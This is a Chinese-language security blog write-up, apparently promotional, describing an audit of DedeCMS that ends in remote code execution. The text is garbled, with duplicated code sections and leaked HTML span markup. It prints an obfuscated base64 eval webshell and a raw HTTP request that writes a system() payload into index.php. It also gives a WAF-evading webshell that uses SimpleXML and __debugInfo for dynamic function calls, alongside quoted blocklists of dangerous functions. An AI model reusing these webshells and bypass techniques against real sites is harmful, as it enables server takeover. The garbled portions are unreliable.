发现可以执行 sql

if(preg_match("#^select #i", $sqlquery))
  {
       $dsql->SetQuery($sqlquery);
       $dsql->Execute();
       if($dsql->GetTotalRow()<=0)
      {
           echo "运行SQL:{$sqlquery},无返回记录!";
      }
       else
      {
           echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
      }
       $j = 0;
       while($row = $dsql->GetArray())
      {
           $j++;
           if($j > 100)
          {
               break;
          }
           echo "<hr size=1 width='100%'/>";
           echo "记录:$j";
           echo "<hr size=1 width='100%'/>";
           foreach($row as $k=>$v)
          {
               echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
          }
      }
       exit();
  }
   if($querytype==2)
  {
       //普通的SQL语句
       $sqlquery = str_replace("\r","",$sqlquery);
       $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
       $nerrCode = ""; $i=0;
       foreach($sqls as $q)
      {
           $q = trim($q);
           if($q=="")
          {
               continue;
          }
           $dsql->ExecuteNoneQuery($q);
           $errCode = trim($dsql->GetError());
           if($errCode=="")
          {
               $i++;
          }
           else
          {
               $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
          }
      }
       echo "成功执行{$i}个SQL语句!<br><br>";
       echo $nerrCode;
  }
   else
  {
       $dsql->ExecuteNoneQuery($sqlquery);
       $nerrCode = trim($dsql->GetError());
       echo "成功执行1个SQL语句!<br><br>";
       echo $nerrCode;
  }
   exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

function Execute($id="me", $sql='')
{
     global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
     if($dsqli->isClose)
    {
         $this->Open(FALSE);
         $dsqli->isClose = FALSE;
    }
     if(!empty($sql))
    {
         $this->SetQuery($sql);
    }
     //SQL语句安全检查
     if($this->safeCheck)
    {
         CheckSql($this->queryString);
    }

     $t1 = ExecTime();
     //var_dump($this->queryString);
     $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

     //查询性能测试
     if($this->recordLog) {
$queryTime = ExecTime() - $t1;
         $this->RecordLog($queryTime);
         //echo $this->queryString."--{$queryTime}<hr />\r\n";
    }

     if($this->result[$id]===FALSE)
    {
         $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
    }
}

是有一个 checksql 的检查的

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
   function CheckSql($db_string,$querytype='select')
  {
       global $cfg_cookie_encode;
       $clean = '';
       $error='';
       $old_pos = 0;
       $pos = -1;
       $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
       $userIP = GetIP();
       $getUrl = GetCurUrl();

       //如果是普通查询语句,直接过滤一些特殊语法
       if($querytype=='select')
      {
           $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

           //$notallow2 = "--|/\*";
           if(preg_match("/".$notallow1."/i", $db_string))
          {
               fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
               exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
          }
      }

       //完整的SQL检查
       while (TRUE)
      {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
          {
               break;
          }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
           while (TRUE)
          {
               $pos1 = strpos($db_string, '\'', $pos + 1);
               $pos2 = strpos($db_string, '\\', $pos + 1);
               if ($pos1 === FALSE)
              {
                   break;
              }
               elseif ($pos2 == FALSE || $pos2 > $pos1)
              {
                   $pos = $pos1;
                   break;
              }
               $pos = $pos2 + 1;
          }
           $clean .= '$s
;
           $old_pos = $pos + 1;
      }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

       if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
       OR strpos($clean,'$s$s
)!== FALSE)
      {
           $fail = TRUE;
           if(preg_match("#^create table#i",$clean)) $fail = FALSE;
           $error="unusual character";
      }

       //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
       if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="union detect";
      }

       //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
       elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
      {
           $fail = TRUE;
           $error="comment detect";
      }

       //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
       elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }
       elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }

       //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
       elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="sub select detect";
      }
       if (!empty($fail))
      {
           fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
           exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
      }
       else
      {
           return $db_string;
      }
  }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
   csrf_check();
   $filename = str_replace("..", "", $filename);
   $file = "$cfg_basedir$activepath/$filename";
   $str = stripslashes($str);
   $fp = fopen($file, "w");
   fputs($fp, $str);
   fclose($fp);

   if ($fp === false) {
       ShowMsg("保存失败!请检查文件是否可写", -1);
       exit();
  }

   if(empty($backurl))
  {
       ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
  }
   else
  {
       ShowMsg("成功保存文件!",$backurl);
  }
   exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
   $value = str_replace(" ", "", $value);
   if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
   if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

001.png

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

<?php

class User {
   private $username;
   private $password;

   public function __construct($username, $password) {
       $this->username = $username;
       $this->password = $password;
  }

   public function __debugInfo() {
       $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
       $xmlElement = new SimpleXMLElement($xmlData);
       $namespaces = $xmlElement->getNamespaces(TRUE);
       $xmlElement->rewind();
       var_dump($xmlElement->key());
       $result = $xmlElement->xpath('/books/system');
       var_dump (($result[0]->__toString()));
      ($xmlElement->key())($result[0]->__toString());
       return [
           'username' => $this->username,
           'info' => '这是调试时返回的信息',
           'timestamp' => time()
      ];
  }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

详情可以看到蚁景网络安全这个公众号

https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg

感谢给的平台

然后我们访问首页

成功弹出计算器

蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~

扫码咨询客服了解招生最新内容和活动

🎈网安学院推荐课程:Web安全工程师特训班Python全栈安全开发特训班应急响应安全工程师特训班
 CTF-Reverse实战技能特训班CTF-WEB实战技能特训班 CTF-PWN实战技能特训班CTF-MISC实战技能特训班 SRC漏洞挖掘实战班HVV大师课
\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$old_pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E .\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Esubstr\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$old_pos\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Etrim\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrtolower\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Earray\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'~\\s+~s'\u003C\u002Fspan\u003E ), \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Earray\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E' '\u003C\u002Fspan\u003E), \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E)));\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'@'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E  \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EOR\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'char('\u003C\u002Fspan\u003E)\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EOR\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\"'\u003C\u002Fspan\u003E)\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EOR\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'$s$s

意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

2025-08-15 16:57
963

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

官方网站 https://www.dedecms.com/

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

https://github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
   if ($k[0] == 'd' && $k[5] == 'd') {
       $template_source = str_replace($v,'',$password);
  }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
   header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
   echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $key,等价于$template_source

$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

function DeleteFile($filename)
  {
       $filename = $this->baseDir.$this->activeDir."/$filename";
       if(is_file($filename))
      {
           @unlink($filename); $t="文件";
      }
       else
      {
           $t = "目录";
           if($this->allowDeleteDir==1)
          {
               $this->RmDirFiles($filename);
          } else
          {
               // 完善用户体验,by:sumic
               ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
               exit;
          }
           
      }
       ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
       return 0;
  }
}

是一个方法,这种需要寻找调用这个方法的地方

else if($fmdo=="del")
{
   $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

/**
* 文件管理控制
*
* @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package       DedeCMS.Administrator
* @founder       IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license       http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

发现可以执行 sql

if(preg_match("#^select #i", $sqlquery))
  {
       $dsql->SetQuery($sqlquery);
       $dsql->Execute();
       if($dsql->GetTotalRow()<=0)
      {
           echo "运行SQL:{$sqlquery},无返回记录!";
      }
       else
      {
           echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
      }
       $j = 0;
       while($row = $dsql->GetArray())
      {
           $j++;
           if($j > 100)
          {
               break;
          }
           echo "<hr size=1 width='100%'/>";
           echo "记录:$j";
           echo "<hr size=1 width='100%'/>";
           foreach($row as $k=>$v)
          {
               echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
          }
      }
       exit();
  }
   if($querytype==2)
  {
       //普通的SQL语句
       $sqlquery = str_replace("\r","",$sqlquery);
       $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
       $nerrCode = ""; $i=0;
       foreach($sqls as $q)
      {
           $q = trim($q);
           if($q=="")
          {
               continue;
          }
           $dsql->ExecuteNoneQuery($q);
           $errCode = trim($dsql->GetError());
           if($errCode=="")
          {
               $i++;
          }
           else
          {
               $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
          }
      }
       echo "成功执行{$i}个SQL语句!<br><br>";
       echo $nerrCode;
  }
   else
  {
       $dsql->ExecuteNoneQuery($sqlquery);
       $nerrCode = trim($dsql->GetError());
       echo "成功执行1个SQL语句!<br><br>";
       echo $nerrCode;
  }
   exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

function Execute($id="me", $sql='')
{
     global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
     if($dsqli->isClose)
    {
         $this->Open(FALSE);
         $dsqli->isClose = FALSE;
    }
     if(!empty($sql))
    {
         $this->SetQuery($sql);
    }
     //SQL语句安全检查
     if($this->safeCheck)
    {
         CheckSql($this->queryString);
    }

     $t1 = ExecTime();
     //var_dump($this->queryString);
     $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

     //查询性能测试
     if($this->recordLog) {
$queryTime = ExecTime() - $t1;
         $this->RecordLog($queryTime);
         //echo $this->queryString."--{$queryTime}<hr />\r\n";
    }

     if($this->result[$id]===FALSE)
    {
         $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
    }
}

是有一个 checksql 的检查的

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
   function CheckSql($db_string,$querytype='select')
  {
       global $cfg_cookie_encode;
       $clean = '';
       $error='';
       $old_pos = 0;
       $pos = -1;
       $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
       $userIP = GetIP();
       $getUrl = GetCurUrl();

       //如果是普通查询语句,直接过滤一些特殊语法
       if($querytype=='select')
      {
           $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

           //$notallow2 = "--|/\*";
           if(preg_match("/".$notallow1."/i", $db_string))
          {
               fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
               exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
          }
      }

       //完整的SQL检查
       while (TRUE)
      {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
          {
               break;
          }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
